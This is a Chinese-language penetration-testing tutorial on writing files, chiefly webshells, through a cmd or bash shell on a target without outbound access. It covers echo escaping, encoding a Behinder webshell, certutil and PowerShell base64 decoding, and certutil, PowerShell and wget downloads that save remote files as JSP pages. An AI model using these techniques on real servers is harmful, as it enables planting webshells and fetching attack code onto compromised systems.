本文仅作为技术讨论及分享,严禁用于任何非法用途。
前言
本文总结了一些通过cmd
或者bash
等shell
写文件的方法,如在某些情况下,拿到了cmd shell
或者bash shell
,如下图:
但是靶机无法上公网和反连攻击机,然后通过echo
等方式写shell
的方法。受限于本人有限的知识面以及实用性等考量,这里列出的方法并不全面,仅供参考。
Windows 下写文件
echo写文件
这是最原始的方法,比较折腾人。如果你以为只要echo 1 > 1.txt
这样写入,就图样了。Windows下的cmd echo
写入需要特殊字符转义,如下:
1 | < --- ^< |
另外,由于web服务器自动转码URL编码
,把原本不是URL编码的字符转码了,导致写入的文件错误,所以还需对下面的字符转码:
1 | % --> %25 # --> %23 @ --> %40 |
冰蝎
马使用这种方法转码的效果如下:
然后通过echo <转码后的payload> > path/xxx.ext
写入文件,示例如下:
局限性:
Echo 字符数量有限,依赖于具体的浏览器也依赖于 web 服务器,当然还有万恶的 IDS。
IE 在地址栏的字符数上限是 2048 个字符
Chrome 没有明显的上限, 超过 1M 的内容也可以轻松接受
Firefox 没有明显的上限, 超过 5M 的内容也可以轻松接受
LinuxWin tomcat jboss 接受的 URL 最大长度是 7800
Windows Tomcat URL7825
Windows PHP Apache URL 最大长度为 8193
IIS6 ASP URL 最大长度为 15973
certutil base64解码写入
上面提到echo
写入万恶的转义问题,那么,通过base64编码是不是可以解决这烦人的转义问题呢?是的!
比如,我们要把<script>alert(1)</script>
(base64编码为:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
)写入文件,可用如下方法:
1 | echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== > 1.txt |
这时候2.jsp
就是要写入的内容:
1 | cat 2.jsp |
顺带一提,certutil
下载文件的方法:
1 | certutil.exe -urlcache -split -f <url> |
不幸的是,即使下载的不是有毒文件,杀软还是很可能会杀掉:
powershell base64写入
powershell
写入的方法就简单得多,如下:
1 | $data = 'PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==' |
效果如下,在后面加上重定向符即可写入文件:
powershell下载文件
1 | 打印远程文件到控制台: |
Linux
因为Linux一般都自带base64命令,这里就不讨论转义的问题了。
bash base64写入
1 | echo PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== |base64 -d > 1.txt |
wget 下载
1 | wget http://192.168.245.130:8080/1.txt -O 1.jsp |